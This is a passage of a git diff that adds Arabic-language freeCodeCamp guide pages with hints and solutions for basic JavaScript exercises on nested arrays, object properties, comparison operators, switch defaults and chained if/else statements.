+الآن كل ما عليك فعله هو اختيار إحداثيات البيانات التي تريدها! للحصول على أمثلة ، إذا أردنا أن تساوي `myNum` 8 ، إذن ...
+
+ `var myNum = arr[2][1]; // Equal to 8 
+` 
+
+أو ، إذا كنت تريد أن تساوي 1. عليك ...
+
+ `var myNum = arr[0][0]; // Equal to 1 
+` 
+
+تبدأ أولاً باختيار العمود الموجود فيه ، ثم تختار الصف. انها نوع من مثل الطائرة تنسيق XY!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays/index.md
new file mode 100644
index 0000000000..08aed6ab54
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays/index.md
@@ -0,0 +1,65 @@
+---
+title: Accessing Nested Arrays
+localeTitle: الوصول إلى صفائف متداخلة
+---
+## الوصول إلى صفائف متداخلة
+
+### الوصول إلى عناصر داخل صفيف باستخدام تدرج قوس `[]`
+
+ `var fruitBasket = ['apple', 'banana' 'orange', 'melon']; 
+ var favoriteFruit = fruitBasket[2]; 
+ 
+ console.log(favoriteFruit) // 'orange' 
+` 
+
+في هذا المثال ، `fruitBasket` المفضلة هي "برتقالي" وهي في الفهرس `2` في مجموعة `fruitBasket` . باستخدام تدوين braket ، نقوم بتعيين مؤشر `2` من مجموعة `fruitBasket` إلى `favoriteFruit` . هذا يجعل `favoriteFruit` يساوي "برتقالي".
+
+### الوصول إلى الكائنات داخل المصفوفات باستخدام braket `[]` ونقطة `.` الرموز
+
+ `var garage = [ 
+  { 
+    type: 'car', 
+    color: 'red', 
+    make: 'Ford' 
+  }, 
+  { 
+    type: 'motorbike', 
+    color: 'black', 
+    make: 'Yamaha' 
+  }, 
+  { 
+    type: 'bus', 
+    color: 'yellow', 
+    make: 'Blue Bird' 
+  } 
+ ]; 
+ 
+ var busColor = garage[2].color; // 'yellow' 
+` 
+
+## حل:
+
+ `// Setup 
+ var myPlants = [ 
+  { 
+    type: "flowers", 
+    list: [ 
+      "rose", 
+      "tulip", 
+      "dandelion" 
+    ] 
+  }, 
+  { 
+    type: "trees", 
+    list: [ 
+      "fir", 
+      "pine", 
+      "birch" 
+    ] 
+  } 
+ ]; 
+ 
+ // Only change code below this line 
+ 
+ var secondTree = myPlants[1].list[1]; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/index.md
new file mode 100644
index 0000000000..fc011ffaf3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/index.md
@@ -0,0 +1,48 @@
+---
+title: Accessing Nested Objects
+localeTitle: الوصول إلى الكائنات المتداخلة
+---
+## الوصول إلى الكائنات المتداخلة
+
+فكرة: **_"استخدام تدرج قوس الخصائص مع مساحة في أسمائهم."_**
+
+إذا نظرنا إلى هدفنا:
+
+ `var myStorage = { 
+  "car": { 
+    "inside": { 
+      "glove box": "maps", 
+      "passenger seat": "crumbs" 
+     }, 
+    "outside": { 
+      "trunk": "jack" 
+    } 
+  } 
+ }; 
+` 
+
+اسم هدفنا هو `myStorage` .
+
+| - داخل أن لدينا كائن متداخل يسمى `car` .
+
+| --- داخل ذلك لدينا اثنين آخرين يسمى `inside` `outside` كل منهما الممتلكات الخاصة
+
+يمكنك تصور بنية الكائن مثل هذا ، إذا كانت تساعد:
+
+ `myStorage 
+ |-- car 
+ |--- inside 
+ |----- glove box: maps 
+ |----- passenger seat: crumbs 
+ |--- outside 
+ |----- trunk: jack 
+` 
+
+مطلوب منا تعيين محتويات `glove box` ، والتي يمكننا رؤيتها متداخلة في الكائن `inside` ، والتي بدورها متداخلة في جسم `car` .
+
+يمكننا استخدام الترميز النقطي للوصول إلى `glove box` النحو التالي:
+
+ `var gloveBoxContents = myStorage.car.inside'complete here' 
+` 
+
+يجب عليك استبدال `complete here` بالطريقة الصحيحة للوصول إلى الخاصية. انظر فكرة أعلاه إذا واجهتك مشكلة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/index.md
new file mode 100644
index 0000000000..cdb1ae89d6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/index.md
@@ -0,0 +1,19 @@
+---
+title: Accessing Object Properties with Bracket Notation
+localeTitle: الوصول إلى خصائص كائن مع تدرج قوس
+---
+## الوصول إلى خصائص كائن مع تدرج قوس
+
+فيما يلي حل واحد ممكن:
+
+ `var testObj = { 
+  "an entree": "hamburger", 
+  "my side": "veggies", 
+  "the drink": "water" 
+ }; 
+ 
+ // Only change code below this line 
+ 
+ var entreeValue = testObj["an entree"];   // Change this line 
+ var drinkValue = testObj["the drink"];    // Change this line 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-dot-notation/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-dot-notation/index.md
new file mode 100644
index 0000000000..c09243b73e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-dot-notation/index.md
@@ -0,0 +1,19 @@
+---
+title: Accessing Object Properties with Dot Notation
+localeTitle: الوصول إلى خصائص كائن مع ترميز Dot
+---
+## الوصول إلى خصائص كائن مع ترميز Dot
+
+فيما يلي حل واحد ممكن:
+
+ `var testObj = { 
+  "hat": "ballcap", 
+  "shirt": "jersey", 
+  "shoes": "cleats" 
+ }; 
+ 
+ // Only change code below this line 
+ 
+ var hatValue = testObj.hat;      // Change this line 
+ var shirtValue = testObj.shirt;    // Change this line 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-variables/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-variables/index.md
new file mode 100644
index 0000000000..004a8892c0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-variables/index.md
@@ -0,0 +1,20 @@
+---
+title: Accessing Object Properties with Variables
+localeTitle: الوصول إلى خصائص الكائن مع المتغيرات
+---
+## الوصول إلى خصائص الكائن مع المتغيرات
+
+إليك حلًا عمليًا في حالة عطلك:
+
+ `// Setup 
+ var testObj = { 
+  12: "Namath", 
+  16: "Montana", 
+  19: "Unitas" 
+ }; 
+ 
+ // Only change code below this line; 
+ 
+ var playerNumber = 16;       // Change this Line 
+ var player = testObj[playerNumber];   // Change this Line 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-new-properties-to-a-javascript-object/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-new-properties-to-a-javascript-object/index.md
new file mode 100644
index 0000000000..555422d9c5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-new-properties-to-a-javascript-object/index.md
@@ -0,0 +1,30 @@
+---
+title: Add New Properties to a JavaScript Object
+localeTitle: أضف خصائص جديدة إلى كائن JavaScript
+---
+## أضف خصائص جديدة إلى كائن JavaScript
+
+هنا هو المثال:
+
+ `var ourDog = { 
+  "name": "Camper", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["everything!"] 
+ }; 
+ 
+ ourDog.bark = "bow-wow"; 
+` 
+
+وإليك الحل:
+
+ `var myDog = { 
+  "name": "Happy Coder", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["freeCodeCamp Campers"] 
+ }; 
+ 
+ // Only change code below this line. 
+ myDog.bark = "woof"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-two-numbers-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..58778a04c9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-two-numbers-with-javascript/index.md
@@ -0,0 +1,10 @@
+---
+title: Add Two Numbers with JavaScript
+localeTitle: أضف رقمين مع JavaScript
+---
+# أضف رقمين مع JavaScript
+
+تستخدم JavaScript الرمز `+` للإضافة.
+
+ `var sum = 10 + 10; //sum gets the value 20 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/adding-a-default-option-in-switch-statements/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/adding-a-default-option-in-switch-statements/index.md
new file mode 100644
index 0000000000..f3a659af3f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/adding-a-default-option-in-switch-statements/index.md
@@ -0,0 +1,26 @@
+---
+title: Adding a Default Option in Switch Statements
+localeTitle: إضافة خيار افتراضي في تبديل البيانات
+---
+# إضافة خيار افتراضي في تبديل البيانات
+
+*   تؤدي إضافة خيار افتراضي إلى التأكد من أنه في حالة عدم تطابق المتغير الخاص بك مع أي من الخيارات ، فسيتم استخدام الإعداد الافتراضي.
+
+## حل:
+
+ `function switchOfStuff(val) { 
+  var answer = ""; 
+ 
+  switch(val){ 
+    case 'a': answer = 'apple'; 
+    break; 
+    case 'b': answer = 'bird'; 
+    break; 
+    case 'c': answer = 'cat'; 
+    break; 
+    default: answer = 'stuff'; 
+  } 
+ 
+  return answer; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/appending-variables-to-strings/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/appending-variables-to-strings/index.md
new file mode 100644
index 0000000000..045f191477
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/appending-variables-to-strings/index.md
@@ -0,0 +1,12 @@
+---
+title: Appending Variables to Strings
+localeTitle: إلحاق المتغيرات بالسلاسل
+---
+## إلحاق المتغيرات بالسلاسل
+
+تأكد من صحة التهجئة والمسافات. يمكن إتمام سلاسل الإضافة (المخزنة داخل المتغيرات) كما يلي:
+
+ `var adj = "happy!"; 
+ var sent = "Today, I woke up being "; 
+ sent += adj; // The result is "Today, I woke up being happy!" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/assignment-with-a-returned-value/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/assignment-with-a-returned-value/index.md
new file mode 100644
index 0000000000..4b0441ebdd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/assignment-with-a-returned-value/index.md
@@ -0,0 +1,12 @@
+---
+title: Assignment with a Returned Value
+localeTitle: التنازل مع القيمة المرتجعة
+---
+## التنازل مع القيمة المرتجعة
+
+تعمل الوظائف كعناصر نائبة للبيانات التي يتم إخراجها. بشكل أساسي ، يمكنك تعيين إخراج دالة إلى متغير ، تمامًا مثل أي بيانات عادية.
+
+هنا هو الحل الأساسي رمز:
+
+ `processed = processArg(7); // Equal to 2 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/build-javascript-objects/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/build-javascript-objects/index.md
new file mode 100644
index 0000000000..b7a5250cba
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/build-javascript-objects/index.md
@@ -0,0 +1,19 @@
+---
+title: Build JavaScript Objects
+localeTitle: بناء كائنات جافا سكريبت
+---
+# بناء كائنات جافا سكريبت
+
+تشبه الكائنات الصفائف ، إلا أنه بدلاً من استخدام الفهارس للوصول إلى بياناتها وتعديلها ، يمكنك الوصول إلى البيانات الموجودة في الكائنات من خلال ما يسمى الخصائص.
+
+هنا كائن عينة:
+
+ `var cat = { 
+    "name": "Whiskers", 
+    "legs": 4, 
+    "tails": 1, 
+    "enemies": ["Water", "Dogs"] 
+ }; 
+` 
+
+تُعد الكائنات مفيدة لتخزين البيانات بطريقة منظمة ، ويمكن أن تمثل كائنات العالم الحقيقي ، مثل القطط.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/chaining-if-else-statements/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/chaining-if-else-statements/index.md
new file mode 100644
index 0000000000..3c7995b7c0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/chaining-if-else-statements/index.md
@@ -0,0 +1,62 @@
+---
+title: Chaining If Else Statements
+localeTitle: تسلسل إذا كانت تصريحات أخرى
+---
+## تسلسل إذا كانت تصريحات أخرى
+
+*   `If` : الشرطي الأول في كل عبارة if / else ، فيكون الشرط _صحيحًا_ ، وتنفيذ التعليمات البرمجية وتجاهل الباقي.
+*   `Else if` : لا يمكن أبدا أن تستخدم كأول شرطي. دائمًا ما يكون مشروطًا بعد ، `if` الشرط صحيحًا ، فنفذ الشفرة. على خلاف ذلك يقفز إلى الشرطي المقبل.
+*   `Else` : إذا كانت جميع الشروط الشرطية السابقة _خاطئة_ ، **فسيتم** تنفيذ **آخر** .
+
+### شرح المشكلة:
+
+_كتابة مقيد `if` / `else if` العبارات تستوفي الشروط التالية_ :
+
+_`num < 5` - عودة "صغيرة" `num < 10` - عودة "صغير" `num < 15` - عودة "متوسطة" `num < 20` - عودة "كبير" `num >= 20` - return "Huge"_
+
+#### تلميح 1
+
+تذكر أنه يمكنك الجمع بين (سلسلة) عدة `if...else` عبارات أخرى واحدة تلو الأخرى حتى آخر واحد باستخدام `else if (condition) {do this}` .
+
+> _حاول أن تحل المشكلة الآن_
+> 
+> #### تلميح 2
+> 
+> في بعض الأحيان ، عندما تكتب رمزًا أكثر مما اعتدت عليه ولا يعمل ، فإن الأشياء الصغيرة هي ما يخوننا. يمكن أن يكون التحقق من الفواصل المنقوطة والأقواس المعقوفة وغير ذلك مفيدًا جدًا. _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل:
+
+ `function testSize(num) { 
+  // Only change code below this line 
+  if (num < 5){ 
+    return "Tiny"; 
+  } 
+  else if (num < 10) { 
+    return "Small"; 
+  } 
+  else if (num < 15){ 
+    return "Medium"; 
+  } 
+  else if (num < 20){ 
+    return "Large"; 
+  } 
+  else { 
+    return "Huge"; 
+  } 
+  // Only change code above this line 
+ } 
+` 
+
+تشغيل الكود في [repl.it](https://repl.it/@AdrianSkar/Basic-JS-Chaining-ifelse-statements)
+
+### تفسير الشفرة
+
+تتحقق الدالة أولاً من `if` الشرط `(num < 5)` . إذا قيّمت إلى `true` ، فإنها ترجع العبارة بين الأقواس المتعرجة ("Tiny"). إذا لم يحدث ذلك ، فإنه يتحقق الشرط التالي حتى `else` بيان `else` .
+
+### مصادر
+
+*   ["if… else" - _MDN JavaScript reference_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comment-your-javascript-code/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comment-your-javascript-code/index.md
new file mode 100644
index 0000000000..7867074512
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comment-your-javascript-code/index.md
@@ -0,0 +1,21 @@
+---
+title: Comment Your JavaScript Code
+localeTitle: تعليق كود جافاسكريبت الخاص بك
+---
+## تعليق كود جافاسكريبت الخاص بك
+
+تسمح لك عملية التعليق بكتابة أشياء لا تريد أن يعمل الكمبيوتر عليها ككود. على سبيل المثال ، ملاحظات للمبرمجين الآخرين ، والاتجاهات ، وأكثر من ذلك. فيما يلي كيفية إنشاء تعليق سطر واحد.
+
+ `// Hey, I'm a comment! 
+` 
+
+الآن ، إذا كنت ترغب في التعليق على فقرة كاملة ، يمكن تحقيق ذلك بسهولة باستخدام ...
+
+ `/* 
+  Hey, I'm a paragraph comment. 
+  This allows for programmers to 
+  write tons and tons of random 
+  words, without the fear of me 
+  being compiled! 
+ */ 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator/index.md
new file mode 100644
index 0000000000..e2a0dd483d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator/index.md
@@ -0,0 +1,45 @@
+---
+title: Comparison with the Equality Operator
+localeTitle: مقارنة مع مشغل المساواة
+---
+## مقارنة مع مشغل المساواة
+
+### شرح المشكلة:
+
+_أضف عامل المساواة إلى الخط المحدد بحيث تقوم الدالة بإرجاع "Equal" عندما يكون `val` مساويًا لـ 12._
+
+#### تلميح 1
+
+تذكر أن _المساواة تختلف عن الواجب ( `=` ) ، الذي يعين القيمة على يمين المشغل إلى متغير في اليسار._ [1](#cite1)
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل الرمز الأساسي:
+
+ `function testEqual(val) { 
+  if (val == 12) { // Change this line 
+    return "Equal"; 
+  } 
+  return "Not equal"; 
+ } 
+ // Change this value to test 
+ testEqual(10); 
+` 
+
+[تشغيل الكود في repl.it](https://repl.it/@AdrianSkar/Basic-JS-Equality-operator)
+
+### تفسير الشفرة
+
+تقوم الدالة أولاً بتقييم `if` تقييم الحالة `(val == 12)` إلى `true` . إذا كان كذلك ، فإنها ترجع العبارة بين الأقواس المتعرجة ("مساواة"). إذا لم يكن الأمر كذلك ، فإنه يُرجع بيان `return` التالي خارجها ("لا يساوي").
+
+### مصادر
+
+1 . ["جافا سكريبت الأساسية: مقارنة مع مشغل المساواة" ، درس لجنة الاتصالات الفدرالية في _خوارزميات جافا سكريبت وهيكلة البيانات_](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator)
+
+### مصادر
+
+*   ["مشغل المساواة" - _مرجع جافا سكريبت MDN_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality_())
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-operator/index.md
new file mode 100644
index 0000000000..8437c33065
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Comparison with the Greater Than Operator
+localeTitle: مقارنة مع أكبر من المشغل
+---
+## مقارنة مع أكبر من المشغل
+
+`>` (أكبر من) هو عامل منطقي يقوم بإرجاع الحالة الحقيقية ، حيث تكون القيمة الموجودة على اليسار أعلى من القيمة الموجودة على اليمين.
+
+## الحل الأساسي
+
+ `function testGreaterThan(val) { 
+  if (val > 100) 
+    return "Over 100"; 
+ 
+  if (val > 10) 
+    return "Over 10"; 
+ 
+  return "10 or Under"; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-or-equal-to-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-or-equal-to-operator/index.md
new file mode 100644
index 0000000000..21a34bdd47
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-or-equal-to-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Comparison with the Greater Than Or Equal To Operator
+localeTitle: مقارنة مع أكبر من أو يساوي المشغل
+---
+## مقارنة مع أكبر من أو يساوي المشغل
+
+*   `>=` (أكبر من أو يساوي) هو عامل منطقي يقوم بإرجاع الحالة الحقيقية ، القيمة الموجودة على اليسار هي **نفسها أو أعلى** من القيمة الموجودة على اليمين.
+
+## الحل الأساسي
+
+ `function testGreaterOrEqual(val) { 
+  if (val >= 20) 
+    return "20 or Over"; 
+ 
+  if (val >= 10) 
+    return "10 or Over"; 
+ 
+  return "Less than 10"; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-inequality-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-inequality-operator/index.md
new file mode 100644
index 0000000000..1ac7938158
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-inequality-operator/index.md
@@ -0,0 +1,18 @@
+---
+title: Comparison with the Inequality Operator
+localeTitle: مقارنة مع مشغل عدم المساواة
+---
+## مقارنة مع مشغل عدم المساواة
+
+*   `!=` (Inequality) هو عامل تشغيل منطقي يقوم بإرجاع الحالة true ، تختلف القيمة الموجودة على اليسار عن القيمة الموجودة على اليمين.
+*   يعتبر عامل عدم المساواة `7` و `"7"` نفس الشيء لأنه لا يقارن نوع المتغير.
+
+## الحل الأساسي
+
+ `function testNotEqual(val) { 
+  if (val != 99) 
+    return "Not Equal"; 
+ 
+  return "Equal"; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-operator/index.md
new file mode 100644
index 0000000000..49a6348502
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Comparison with the Less Than Operator
+localeTitle: مقارنة مع أقل من المشغل
+---
+## مقارنة مع أقل من المشغل
+
+**`<`** (أقل من) هو عامل تشغيل منطقي يقوم بإرجاع الحالة الحقيقية تكون القيمة الموجودة على اليسار أقل من القيمة الموجودة على اليمين.
+
+## الحل الأساسي
+
+ `function testLessThan(val) { 
+  if (val < 25) 
+    return "Under 25"; 
+ 
+  if (val < 55) 
+    return "Under 55"; 
+ 
+  return "55 or Over"; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-or-equal-to-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-or-equal-to-operator/index.md
new file mode 100644
index 0000000000..5f1c271b06
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-or-equal-to-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Comparison with the Less Than Or Equal To Operator
+localeTitle: مقارنة مع أقل من أو يساوي المشغل
+---
+## مقارنة مع أقل من أو يساوي المشغل
+
+**`<=`** (أقل من أو يساوي) هو عامل تشغيل منطقي يقوم بإرجاع الحالة الحقيقية إلى أن القيمة الموجودة على اليسار هي **نفسها أو أقل** من القيمة الموجودة على اليمين.
+
+## الحل الأساسي
+
+ `function testLessOrEqual(val) { 
+  if (val <= 12) 
+    return "Smaller Than or Equal to 12"; 
+ 
+  if (val <= 24) 
+    return "Smaller Than or Equal to 24"; 
+ 
+  return "More Than 24"; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator/index.md
new file mode 100644
index 0000000000..8e0d5174c0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator/index.md
@@ -0,0 +1,55 @@
+---
+title: Comparison with the strict equality operator
+localeTitle: مقارنة مع مشغل المساواة الصارمة
+---
+## مقارنة مع مشغل المساواة الصارمة
+
+### شرح المشكلة:
+
+· _استخدم عامل المساواة الصارم في العبارة `if` لذلك ستعود الدالة "Equal" عندما يكون `val` تساوي تمامًا `7` ._
+
+#### تلميح 1
+
+تذكر من التمرين الأخير أن _المساواة تختلف عن الواجب ( `=` ) ، الذي يعين القيمة على يمين المشغل إلى متغير في اليسار._ [1](#cite1)
+
+> _حاول أن تحل المشكلة الآن_
+> 
+> #### تلميح 2
+> 
+> _على عكس مشغل المساواة ، والذي يحاول تحويل كلتا القيمتين مقارنة بالنوع الشائع ، فإن مشغل المساواة الصارم لا يقوم بتحويل نوع._ [2](#cite2) _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل الرمز الأساسي:
+
+ `// Setup 
+ function testStrict(val) { 
+  if (val === 7) { // Change this line 
+    return "Equal"; 
+  } 
+  return "Not equal"; 
+ } 
+ 
+ // Change this value to test 
+ testStrict(10); 
+` 
+
+### تفسير الشفرة
+
+تقوم الدالة أولاً بتقييم `if` الشرط `(val === 7)` تقييمه إلى `true` . إذا كان كذلك ، فإنها ترجع العبارة بين الأقواس المتعرجة ("مساواة"). إذا لم يكن الأمر كذلك ، فإنه يُرجع بيان `return` التالي خارجها ("لا يساوي").
+
+### مصادر
+
+1 . ["جافا سكريبت الأساسية: مقارنة مع مشغل المساواة" ، درس لجنة الاتصالات الفدرالية في _خوارزميات جافا سكريبت وهيكلة البيانات_](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator)
+
+2 . ["جافا سكريبت الأساسي: مقارنة مع مشغل المساواة الصارمة" ، درس لجنة الاتصالات الفيدرالية في _خوارزميات جافا سكريبت وشهادات البيانات_](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator)
+
+### مصادر
+
+*   ["if… else" - _MDN JavaScript reference_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
+    
+*   [كوندوف ، الكسندر. "فهم JS: الإكراه". _Hackernoon_](https://hackernoon.com/understanding-js-coercion-ff5684475bfc) ، Accessed 15 Sep. 2018
+    
+*   ["مشغِّلو المقارنات" - _مرجع جافا سكريبت MDN_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-inequality-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-inequality-operator/index.md
new file mode 100644
index 0000000000..57b753a5fa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-inequality-operator/index.md
@@ -0,0 +1,40 @@
+---
+title: Comparison with the Strict Inequality Operator
+localeTitle: مقارنة مع مشغل عدم المساواة الصارم
+---
+## مقارنة مع مشغل عدم المساواة الصارم
+
+### شرح المشكلة:
+
+· _أضف `strict inequality operator` إلى العبارة `if` بحيث ستعود الدالة "غير متساوية" عندما لا يكون `val` مساوياً تمامًا لـ `17` ._
+
+#### تلميح 1
+
+سيعود عامل عدم المساواة الصارم ( `!==` ) إلى `true` إذا كانت القيمة الأولى لا تساوي النوع الثاني الذي يأخذ نوع القيمة في الاعتبار.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل الرمز الأساسي:
+
+ `function testStrictNotEqual(val) { 
+  if (val !== 17) { 
+    return "Not equal"; 
+  } 
+  return "Equal"; 
+ } 
+ 
+ // Change this value to test 
+ testStrictNotEqual(10); 
+` 
+
+### تفسير الشفرة
+
+تقوم الدالة أولاً بتقييم `if` الشرط `(val !== 17)` تقييمه إلى `true` نظرًا لنوع القيمة والقيمة. إذا كان كذلك ، فإنها ترجع العبارة بين الأقواس المتعرجة ("غير متساوية"). إذا لم يكن الأمر كذلك ، فإنه يُرجع بيان `return` التالي خارجها ("مساواة").
+
+### مصادر
+
+*   ["Non-identity / strict inequality (! ==)" - _MDN JavaScript reference_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Non-identity_strict_inequality_(!))
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-and-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-and-operator/index.md
new file mode 100644
index 0000000000..b25c30b09c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-and-operator/index.md
@@ -0,0 +1,52 @@
+---
